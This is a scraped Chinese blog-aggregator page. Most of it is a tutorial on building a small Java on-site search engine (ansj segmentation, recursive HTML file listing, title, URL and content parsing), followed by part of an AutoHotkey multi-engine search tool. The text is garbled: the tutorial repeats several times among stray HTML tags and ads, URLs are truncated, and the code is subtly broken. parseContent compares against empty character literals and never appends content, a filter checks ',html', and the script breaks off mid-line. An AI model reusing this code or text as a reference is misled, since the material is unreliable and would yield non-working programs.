import org.ansj.domain.Term;import org.ansj.splitWord.analysis.ToAnalysis;import java.util.List;public class TastAnsj { public static void main(String[] args) { String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。"; List terms = ToAnalysis.parse(str).getTerms(); for (Term term : terms) { System.out.println(term.getName()); } }}
四.文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;import java.util.ArrayList;//读取刚刚文档public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整个Parser类的入口 //1.根据路径,去枚举出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析 //3.把在内存中构造好的索引数据结构,保定到指定的文件中。 } //第一个参数表示从哪里开始遍历 //第二个表示结果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能够获取到一层目录下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根据当前f的类型判断是否递归。 //如果f是一个普通文件,就把f加入到fileList里面 //如果不是就调用递归 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { fileList.add(f); } } } public static void main(String[] args) { //通过main方法来实现整个制作索引的过程 Parser parser=new Parser(); parser.run(); }}
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else { if(f.getAbsolutePath().endsWith(",html")) fileList.add(f);}
这个代码就是只是针对末尾为html的文件。下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) { String name= f.getName(); return name.substring(0,f.getName().length()-5); }
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; }
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。具体代码如下很容易理解。
private String parseContent(File f) throws IOException { //先按照一个一个字符来读取,以作为开关 try(FileReader fileReader=new FileReader(f)) { //加上一个是否拷贝的开关. boolean isCopy=true; //还需要准备一个结果保存 StringBuilder content=new StringBuilder(); while (true){ //此处的read的返回值是int,不是char //如果读到文件末尾,就会返回-1,这是用int的好处; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } } } return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; }
这一模块总的代码块如下:
import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.ArrayList;//读取刚刚文档public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整个Parser类的入口 //1.根据路径,去枚举出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析 for (File f:fileList){ System.out.println("开始解析"+f.getAbsolutePath()); parseHTML(f); } //3.把在内存中构造好的索引数据结构,保定到指定的文件中。 }<br /> private String parseTitle(File f) { String name= f.getName(); return name.substring(0,f.getName().length()-5); } private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; } private String parseContent(File f) throws IOException { //先按照一个一个字符来读取,以作为开关 try(FileReader fileReader=new FileReader(f)) { //加上一个是否拷贝的开关. boolean isCopy=true; //还需要准备一个结果保存 StringBuilder content=new StringBuilder(); while (true){ //此处的read的返回值是int,不是char //如果读到文件末尾,就会返回-1,这是用int的好处; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } } } return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; } private void parseHTML (File f){ //解析出标题 String title=parseTitle(f); //解析出对应的url String url=parseUrl(f); //解析出对应的正文 try { String content=parseContent(f); } catch (IOException e) { e.printStackTrace(); } } //第一个参数表示从哪里开始遍历 //第二个表示结果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能够获取到一层目录下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根据当前f的类型判断是否递归。 //如果f是一个普通文件,就把f加入到fileList里面 //如果不是就调用递归 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { if(f.getAbsolutePath().endsWith(".html")) fileList.add(f); } } } public static void main(String[] args) { //通过main方法来实现整个制作索引的过程 Parser parser=new Parser(); parser.run(); }}
欢迎加入程序员交流群
鬼哥我创建了几个技术交流群,大家在群里都是九分聊技术、一分聊风雪~
如果你没有加群,不妨扫描下方二维码、添加我的微信。我拉大家进群,记得备注:工作城市+昵称+技术方向!
Ps:如果朋友圈对我设置权限的话,那就不用加我好友了。
<p data-mid="" data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(19, 52, 86)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(19, 52, 86)" data-darkmode-bgimage-16266178294118="1" style="outline: 0px;text-align: center;">往期推荐
B站,竟然变成了相亲求偶平台!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" />
MySQL夺命15问,你能坚持到第几问?<br style="outline: 0px;" />
Nginx 轻松搞定跨域问题!<br style="outline: 0px;" />
换掉 UUID,更快更安全!<br style="outline: 0px;" />
Java实现10万+并发去重,持续优化!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" /><br style="outline: 0px;" />花费数月整理出来的技术资源免费分享给大家扫描下方二维码,回复关键字【技术福利】获取!
写一个搜索引擎系统(Java版)
网站优化 • 优采云 发表了文章 • 0 个评论 • 93 次浏览 • 2022-05-07 18:15
咋们如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,内属于全站搜索,我们这里做一个站内搜索。这个还是可以的,就类似于我们对网站里的资源进行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。
这里我们可以使用Python,或者下载文档压缩包。这里我们下包把,快多了。本来想搞一个英雄联盟的,实在找不见,要是后续有老铁找到可以分享一下。
建议大家别爬虫(要不然被告了,不过我们学校的官网倒是可以随便爬,我们当时就是拿这个练手的)
为什么要用索引呢?
因为爬的数据太多了,不索引,难道我去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到
故根据名字选技能
倒排索引就是LOL里面谁有剑
蛮王无极剑圣剑姬
故根据特点选择英雄
二.模块划分1.索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2.搜索模块
1)调用索引模块,实现一个搜索的完整过程。
3.web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。
包含了前端和后端。
三. 怎么实现分词
分词的原理
1.基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2.基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
import org.ansj.domain.Term;<br />import org.ansj.splitWord.analysis.ToAnalysis;<br />import java.util.List;<br />public class TastAnsj {<br /> public static void main(String[] args) {<br /> String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。";<br /> List terms = ToAnalysis.parse(str).getTerms();<br /> for (Term term : terms) {<br /> System.out.println(term.getName());<br /> }<br /> }<br />}<br />
四.文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;<br />import java.util.ArrayList;<br /><br /><br />//读取刚刚文档<br />public class Parser {<br /> private static final String INPUT_PATH="D:/test/docs/api";<br /> public void run(){<br /> //整个Parser类的入口<br /> //1.根据路径,去枚举出所有的文件.(html);<br /> ArrayList fileList=new ArrayList();<br /> enumFile(INPUT_PATH,fileList);<br /> System.out.println(fileList);<br /> System.out.println(fileList.size());<br /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br /> }<br /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br /> private void enumFile(String inputPath,ArrayListfileList){<br /> File rootPath=new File(inputPath);<br /> //listFiles 能够获取到一层目录下的文件<br /> File[] files= rootPath.listFiles();<br /> for(File f:files){<br /> //根据当前f的类型判断是否递归。<br /> //如果f是一个普通文件,就把f加入到fileList里面<br /> //如果不是就调用递归<br /> if(f.isDirectory()){<br /> enumFile(f.getAbsolutePath(),fileList);<br /> }else {<br /> fileList.add(f);<br /> }<br /> }<br /> }<br /> public static void main(String[] args) {<br /> //通过main方法来实现整个制作索引的过程<br /> Parser parser=new Parser();<br /> parser.run();<br /> }<br />}<br />
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else {<br /> if(f.getAbsolutePath().endsWith(",html"))<br /> fileList.add(f);<br />}<br />
这个代码就是只是针对末尾为html的文件,下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) {<br /> String name= f.getName();<br /> return name.substring(0,f.getName().length()-5);<br /><br /> }<br />
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) {<br /> String part1="https://docs.oracle.com/javase ... %3Bbr /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br /> return part1+part2;<br /> }<br />
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。
具体代码如下很容易理解。
private String parseContent(File f) throws IOException {<br /> //先按照一个一个字符来读取,以作为开关<br /> try(FileReader fileReader=new FileReader(f)) {<br /> //加上一个是否拷贝的开关.<br /> boolean isCopy=true;<br /> //还需要准备一个结果保存<br /> StringBuilder content=new StringBuilder();<br /> while (true){<br /> //此处的read的返回值是int,不是char<br /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br /> int ret = 0;<br /> try {<br /> ret = fileReader.read();<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> if(ret==-1) {<br /> break;<br /> }<br /> char c=(char) ret;<br /> if(isCopy){<br /> if(c==''){<br /> isCopy=true;<br /> }<br /> }<br /> }<br /><br /> return content.toString();<br /> } catch (FileNotFoundException e) {<br /> e.printStackTrace();<br /> }<br /> return "";<br /> }<br />
这一模块总的代码块如下:
import java.io.File;<br />import java.io.FileNotFoundException;<br />import java.io.FileReader;<br />import java.io.IOException;<br />import java.util.ArrayList;<br /><br />//读取刚刚文档<br />public class Parser {<br /> private static final String INPUT_PATH="D:/test/docs/api";<br /> public void run(){<br /> //整个Parser类的入口<br /> //1.根据路径,去枚举出所有的文件.(html);<br /> ArrayList fileList=new ArrayList();<br /> enumFile(INPUT_PATH,fileList);<br /> System.out.println(fileList);<br /> System.out.println(fileList.size());<br /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br /> for (File f:fileList){<br /> System.out.println("开始解析"+f.getAbsolutePath());<br /> parseHTML(f);<br /> }<br /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br /> }<br /><br /><br /> private String parseTitle(File f) {<br /> String name= f.getName();<br /> return name.substring(0,f.getName().length()-5);<br /><br /> }<br /> private String parseUrl(File f) {<br /> String part1="https://docs.oracle.com/javase ... %3Bbr /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br /> return part1+part2;<br /> }<br /> private String parseContent(File f) throws IOException {<br /> //先按照一个一个字符来读取,以作为开关<br /> try(FileReader fileReader=new FileReader(f)) {<br /> //加上一个是否拷贝的开关.<br /> boolean isCopy=true;<br /> //还需要准备一个结果保存<br /> StringBuilder content=new StringBuilder();<br /> while (true){<br /> //此处的read的返回值是int,不是char<br /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br /> int ret = 0;<br /> try {<br /> ret = fileReader.read();<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> if(ret==-1) {<br /> break;<br /> }<br /> char c=(char) ret;<br /> if(isCopy){<br /> if(c==''){<br /> isCopy=true;<br /> }<br /> }<br /> }<br /><br /> return content.toString();<br /> } catch (FileNotFoundException e) {<br /> e.printStackTrace();<br /> }<br /> return "";<br /> }<br /> private void parseHTML (File f){<br /> //解析出标题<br /> String title=parseTitle(f);<br /> //解析出对应的url<br /> String url=parseUrl(f);<br /> //解析出对应的正文<br /> try {<br /> String content=parseContent(f);<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> }<br /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br /> private void enumFile(String inputPath,ArrayListfileList){<br /> File rootPath=new File(inputPath);<br /> //listFiles 能够获取到一层目录下的文件<br /> File[] files= rootPath.listFiles();<br /> for(File f:files){<br /> //根据当前f的类型判断是否递归。<br /> //如果f是一个普通文件,就把f加入到fileList里面<br /> //如果不是就调用递归<br /> if(f.isDirectory()){<br /> enumFile(f.getAbsolutePath(),fileList);<br /> }else {<br /> if(f.getAbsolutePath().endsWith(".html"))<br /> fileList.add(f);<br /> }<br /> }<br /> }<br /> public static void main(String[] args) {<br /> //通过main方法来实现整个制作索引的过程<br /> Parser parser=new Parser();<br /> parser.run();<br /> }<br />}
来源:/m0_57315623/article/details/123829698
推荐:
PS:因为公众号平台更改了推送规则,如果不想错过内容,记得读完点一下“在看”,加个“星标”,这样每次新文章推送才会第一时间出现在你的订阅列表里。点“在看”支持我们吧! 查看全部
写一个搜索引擎系统(Java版)
咋们如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,内属于全站搜索,我们这里做一个站内搜索。这个还是可以的,就类似于我们对网站里的资源进行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。
这里我们可以使用Python,或者下载文档压缩包。这里我们下包把,快多了。本来想搞一个英雄联盟的,实在找不见,要是后续有老铁找到可以分享一下。
建议大家别爬虫(要不然被告了,不过我们学校的官网倒是可以随便爬,我们当时就是拿这个练手的)
为什么要用索引呢?
因为爬的数据太多了,不索引,难道我去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到
故根据名字选技能
倒排索引就是LOL里面谁有剑
蛮王无极剑圣剑姬
故根据特点选择英雄
二.模块划分1.索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2.搜索模块
1)调用索引模块,实现一个搜索的完整过程。
3.web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。
包含了前端和后端。
三. 怎么实现分词
分词的原理
1.基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2.基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
import org.ansj.domain.Term;<br />import org.ansj.splitWord.analysis.ToAnalysis;<br />import java.util.List;<br />public class TastAnsj {<br /> public static void main(String[] args) {<br /> String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。";<br /> List terms = ToAnalysis.parse(str).getTerms();<br /> for (Term term : terms) {<br /> System.out.println(term.getName());<br /> }<br /> }<br />}<br />
四.文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;<br />import java.util.ArrayList;<br /><br /><br />//读取刚刚文档<br />public class Parser {<br /> private static final String INPUT_PATH="D:/test/docs/api";<br /> public void run(){<br /> //整个Parser类的入口<br /> //1.根据路径,去枚举出所有的文件.(html);<br /> ArrayList fileList=new ArrayList();<br /> enumFile(INPUT_PATH,fileList);<br /> System.out.println(fileList);<br /> System.out.println(fileList.size());<br /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br /> }<br /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br /> private void enumFile(String inputPath,ArrayListfileList){<br /> File rootPath=new File(inputPath);<br /> //listFiles 能够获取到一层目录下的文件<br /> File[] files= rootPath.listFiles();<br /> for(File f:files){<br /> //根据当前f的类型判断是否递归。<br /> //如果f是一个普通文件,就把f加入到fileList里面<br /> //如果不是就调用递归<br /> if(f.isDirectory()){<br /> enumFile(f.getAbsolutePath(),fileList);<br /> }else {<br /> fileList.add(f);<br /> }<br /> }<br /> }<br /> public static void main(String[] args) {<br /> //通过main方法来实现整个制作索引的过程<br /> Parser parser=new Parser();<br /> parser.run();<br /> }<br />}<br />
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else {<br /> if(f.getAbsolutePath().endsWith(",html"))<br /> fileList.add(f);<br />}<br />
这个代码就是只是针对末尾为html的文件,下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) {<br /> String name= f.getName();<br /> return name.substring(0,f.getName().length()-5);<br /><br /> }<br />
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) {<br /> String part1="https://docs.oracle.com/javase ... %3Bbr /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br /> return part1+part2;<br /> }<br />
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。
具体代码如下很容易理解。
private String parseContent(File f) throws IOException {<br /> //先按照一个一个字符来读取,以作为开关<br /> try(FileReader fileReader=new FileReader(f)) {<br /> //加上一个是否拷贝的开关.<br /> boolean isCopy=true;<br /> //还需要准备一个结果保存<br /> StringBuilder content=new StringBuilder();<br /> while (true){<br /> //此处的read的返回值是int,不是char<br /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br /> int ret = 0;<br /> try {<br /> ret = fileReader.read();<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> if(ret==-1) {<br /> break;<br /> }<br /> char c=(char) ret;<br /> if(isCopy){<br /> if(c==''){<br /> isCopy=true;<br /> }<br /> }<br /> }<br /><br /> return content.toString();<br /> } catch (FileNotFoundException e) {<br /> e.printStackTrace();<br /> }<br /> return "";<br /> }<br />
这一模块总的代码块如下:
import java.io.File;<br />import java.io.FileNotFoundException;<br />import java.io.FileReader;<br />import java.io.IOException;<br />import java.util.ArrayList;<br /><br />//读取刚刚文档<br />public class Parser {<br /> private static final String INPUT_PATH="D:/test/docs/api";<br /> public void run(){<br /> //整个Parser类的入口<br /> //1.根据路径,去枚举出所有的文件.(html);<br /> ArrayList fileList=new ArrayList();<br /> enumFile(INPUT_PATH,fileList);<br /> System.out.println(fileList);<br /> System.out.println(fileList.size());<br /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br /> for (File f:fileList){<br /> System.out.println("开始解析"+f.getAbsolutePath());<br /> parseHTML(f);<br /> }<br /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br /> }<br /><br /><br /> private String parseTitle(File f) {<br /> String name= f.getName();<br /> return name.substring(0,f.getName().length()-5);<br /><br /> }<br /> private String parseUrl(File f) {<br /> String part1="https://docs.oracle.com/javase ... %3Bbr /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br /> return part1+part2;<br /> }<br /> private String parseContent(File f) throws IOException {<br /> //先按照一个一个字符来读取,以作为开关<br /> try(FileReader fileReader=new FileReader(f)) {<br /> //加上一个是否拷贝的开关.<br /> boolean isCopy=true;<br /> //还需要准备一个结果保存<br /> StringBuilder content=new StringBuilder();<br /> while (true){<br /> //此处的read的返回值是int,不是char<br /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br /> int ret = 0;<br /> try {<br /> ret = fileReader.read();<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> if(ret==-1) {<br /> break;<br /> }<br /> char c=(char) ret;<br /> if(isCopy){<br /> if(c==''){<br /> isCopy=true;<br /> }<br /> }<br /> }<br /><br /> return content.toString();<br /> } catch (FileNotFoundException e) {<br /> e.printStackTrace();<br /> }<br /> return "";<br /> }<br /> private void parseHTML (File f){<br /> //解析出标题<br /> String title=parseTitle(f);<br /> //解析出对应的url<br /> String url=parseUrl(f);<br /> //解析出对应的正文<br /> try {<br /> String content=parseContent(f);<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> }<br /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br /> private void enumFile(String inputPath,ArrayListfileList){<br /> File rootPath=new File(inputPath);<br /> //listFiles 能够获取到一层目录下的文件<br /> File[] files= rootPath.listFiles();<br /> for(File f:files){<br /> //根据当前f的类型判断是否递归。<br /> //如果f是一个普通文件,就把f加入到fileList里面<br /> //如果不是就调用递归<br /> if(f.isDirectory()){<br /> enumFile(f.getAbsolutePath(),fileList);<br /> }else {<br /> if(f.getAbsolutePath().endsWith(".html"))<br /> fileList.add(f);<br /> }<br /> }<br /> }<br /> public static void main(String[] args) {<br /> //通过main方法来实现整个制作索引的过程<br /> Parser parser=new Parser();<br /> parser.run();<br /> }<br />}
来源:/m0_57315623/article/details/123829698
推荐:
PS:因为公众号平台更改了推送规则,如果不想错过内容,记得读完点一下“在看”,加个“星标”,这样每次新文章推送才会第一时间出现在你的订阅列表里。点“在看”支持我们吧!
聚合搜索工具升级版源码
网站优化 • 优采云 发表了文章 • 0 个评论 • 60 次浏览 • 2022-05-04 01:11
学会搜索真的很重要,能用搜索引擎解决的就没必要问来问去,所以这个小工具是给还不怎么会搜索的同学用的.
演示
之前发的小工具的升级版,自用的时候用一个类似控制台的软件来激活,或者自己定义快捷键
同步ahk社区的文章发布
主要功能,
1.多个搜索引擎可选批量搜索
2.开启时自动添加剪切板作为关键词
3.提示选择不常见的搜索引擎高级语法,再也不用临时查一下语法怎么用了
3.专门对搜索编程语法加入了一些强化,目前仅有加入编程语言后缀这个功能,之后再加
4.快速添加常用网站内搜索
5.后续会添加快速添加常用网站目录以及对编程相关内容的搜索强化,以及一些编辑强化的功能吧,
源码
<br /><br />#IfWinActive ahk_id hedit ^ & Enter:: Gosub Search#IfWinActive#s:: Gosub MSearch<br />MSearch: Engine:= {Bing:"https://www.bing.com/search%3F ... ot%3B , Bai:"https://www.baidu.com/s?wd=" , Google:"https://www.google.com/search?q=" , zhi:"https://www.zhihu.com/search%3 ... ot%3B , Git:"https://github.com/search?utf8=`%E2`%9C`%93&q="} copy() gui,Destroy Gui Add, Text, w-2 h-2 section Gui Add, Text, y+5 section,<br /> For k,v in Engine Gui Add, CheckBox, % ((k ~= "Google") ? "Checked" : "") . " x+5 v" k,%k%<br /> Gui add, DropDownList, y+5 xs w120 v搜索语法添加 g搜索语法,标题|内容|链接锚点|网站|url|特定类型文件|关联|信息|搜索语法提示|| Gui add, DropDownList,x+5 w120 v网站模板添加 g网站模板,政府|stackoverflow|指定网站模板||<br /> Gui add, DropDownList,x+5 w120 v编程语言后缀 g编程语言,js|python|c|ahk|编程语言搜索|| gui, font, s20, Verdana Gui Add, Edit ,xs-4 w500 h100 Hwndhedit vKeywords,%Clipboard% Gui Add,Button, xs-4 gSearch,Search Gui Show, ,MSearchreturn<br />; bom<br />Search: Gui submit, NoHide For i,n in Engine { If %i% = 1 run , % Engine[i] . RegExReplace(Keywords,"%","%25") }return<br />搜索语法: Gui submit, NoHide 搜索语法:="" switch 搜索语法添加 { case "标题": 搜索语法:=" intitle:" case "内容": 搜索语法:=" intext:" case "链接锚点": 搜索语法:=" inanchor:login" case "网站": 搜索语法:=" site:" case "url": 搜索语法:=" inurl:" case "链接特定url": 搜索语法:=" link:www.baidu.com" case "特定类型文件": 搜索语法:=" filetype:" case "关联": 搜索语法:=" related:" case "信息": 搜索语法:=" info:" } AppendEdit(hedit, 搜索语法) Return<br /> 网站模板: Gui submit, NoHide 网站模板:="" switch 网站模板添加 { case "政府": 网站模板:=" site:gov.cn" case "stackoverflow": 网站模板:=" site:stackoverflow.com"<br /> } AppendEdit(hedit, 网站模板) Return<br /> 编程语言: Gui submit, NoHide 编程语言:="" switch 编程语言后缀 { case "js": 编程语言:=" js" case "python": 编程语言:=" python" case "c": 编程语言:=" c" case "ahk": 编程语言:=" ahk" } AppendEdit(hedit, 编程语言) Return<br /> AppendEdit(hEdit, text) { text .= "`r`n" SendMessage, 0xB1, -2, -1,, ahk_id %hEdit% ; EM_SETSEL SendMessage, 0xC2, 0, &text,, ahk_id %hEdit% ; EM_REPLACESEL SendMessage, 0x115, 7, 0,, ahk_id %hEdit% ; WM_VSCROLL } 查看全部
聚合搜索工具升级版源码
学会搜索真的很重要,能用搜索引擎解决的就没必要问来问去,所以这个小工具是给还不怎么会搜索的同学用的.
演示
之前发的小工具的升级版,自用的时候用一个类似控制台的软件来激活,或者自己定义快捷键
同步ahk社区的文章发布
主要功能,
1.多个搜索引擎可选批量搜索
2.开启时自动添加剪切板作为关键词
3.提示选择不常见的搜索引擎高级语法,再也不用临时查一下语法怎么用了
3.专门对搜索编程语法加入了一些强化,目前仅有加入编程语言后缀这个功能,之后再加
4.快速添加常用网站内搜索
5.后续会添加快速添加常用网站目录以及对编程相关内容的搜索强化,以及一些编辑强化的功能吧,
源码
<br /><br />#IfWinActive ahk_id hedit ^ & Enter:: Gosub Search#IfWinActive#s:: Gosub MSearch<br />MSearch: Engine:= {Bing:"https://www.bing.com/search%3F ... ot%3B , Bai:"https://www.baidu.com/s?wd=" , Google:"https://www.google.com/search?q=" , zhi:"https://www.zhihu.com/search%3 ... ot%3B , Git:"https://github.com/search?utf8=`%E2`%9C`%93&q="} copy() gui,Destroy Gui Add, Text, w-2 h-2 section Gui Add, Text, y+5 section,<br /> For k,v in Engine Gui Add, CheckBox, % ((k ~= "Google") ? "Checked" : "") . " x+5 v" k,%k%<br /> Gui add, DropDownList, y+5 xs w120 v搜索语法添加 g搜索语法,标题|内容|链接锚点|网站|url|特定类型文件|关联|信息|搜索语法提示|| Gui add, DropDownList,x+5 w120 v网站模板添加 g网站模板,政府|stackoverflow|指定网站模板||<br /> Gui add, DropDownList,x+5 w120 v编程语言后缀 g编程语言,js|python|c|ahk|编程语言搜索|| gui, font, s20, Verdana Gui Add, Edit ,xs-4 w500 h100 Hwndhedit vKeywords,%Clipboard% Gui Add,Button, xs-4 gSearch,Search Gui Show, ,MSearchreturn<br />; bom<br />Search: Gui submit, NoHide For i,n in Engine { If %i% = 1 run 